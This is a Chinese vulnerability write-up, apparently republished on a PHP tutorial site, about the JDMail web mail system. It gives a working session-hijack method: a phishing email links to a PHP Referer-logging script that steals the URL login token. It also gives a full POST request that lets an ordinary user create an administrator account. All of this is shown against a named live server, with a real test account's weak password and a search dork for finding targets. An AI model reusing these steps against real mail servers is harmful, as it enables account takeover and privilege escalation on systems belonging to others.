网站地图    收藏   

主页 > 后端 > 网站安全 >

金迪邮件系统任意用户劫持到添加系统管理员

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 金迪邮件系统,JDMAIL用户量很大,官方案例:http: www mailer com cn Products6 htmlhttp: www mailer com cn New%20Customers index1 htm利用证明:关键字:intitle:金笛邮件管理系统http: mail lyx928 com...

金迪邮件系统,JDMAIL

此邮件系统存在多处设计缺陷高危漏洞

0x001 任意用户劫持

此邮件系统,在登陆后url中有一个8或者9位的字符串,如45e22a8H7

这个字符串就是登陆的凭证,当登录后,只要拿到这个字符串就可以直接登陆此用户名,没有session和cookie的验证。

意思就是说我们获取到登陆后的url,只要此用户名没有注销登陆出的话,直接就能利用此url直接登陆系统。

利用方式很简单,给任意用户发一个email,email的内容中加载一个超链接,诱使用户点击此链接,此链接在后端抓取此次请求的Referer即可,此时你就可以得到他的url,也就劫持了用户。

更直接的给管理员发送恶意邮件即可劫持之。

或者通过XSS悄无声息的劫持任意用户账号。

这里我们拿http://mail.lyx928.com:8080进行测试。

用户test@dodole.net,弱口令111111

登陆之,然后我们给此用户发送邮件:

 


 

内容中加入了超链接:





 

 

此超链接的内容为:

 

<?php
file_put_contents("referer.txt",  " ref:".$_SERVER["HTTP_REFERER"], FILE_APPEND);  
file_put_contents("referer.txt",  " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND); 
file_put_contents("referer.txt",  " Time:".date("Y.m.d H:i:s")."\r\n",FILE_APPEND); 
?>



获取Referer的内容到referer.txt中

当test@dodole.net点击此链接后,看看我们获取到的Referer内容:


成功获取了Referer,以及url中的认证字符串。

我们换一个浏览器访问此url即可,看是否成功登陆:


 

成功登陆劫持到的用户,很Easy!



0x002 添加管理员

这里存在越权操作我们登录普通用户后,可以直接添加一个管理员用户:

 

链接:http://mail.lyx928.com:8080/tmw/45e22a8H7/mailmain?type=msaveuser
POST:subtype=new&username=test123&domain=dodole.net&usertype=S&departmentid=&first_name=test123&password=111111&encodetype=inner&enable=true&enable_smtp=true&enable_pop3=true&enable_imap4=true&enable_webaccess=true&alias=&expiredtime=&max_mailbox_size=-1&max_mailbox_msgs=-1&fm_size=-1&fm_upload_size=-2&sendmail_freq=&sendsms_freq=&sendmms_freq=&wm_max_attachment_size=&default_language=SIMPLIFIED_CHINESE&telephone=&mobile=&postalcode=&country=&state_province=&city=&organization=&department=&address=



添加一个test123@dodole.net的管理员用户

 

 



漏洞修补建议:

1、加强用户登陆状态验证
2、严格控制用户权限

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论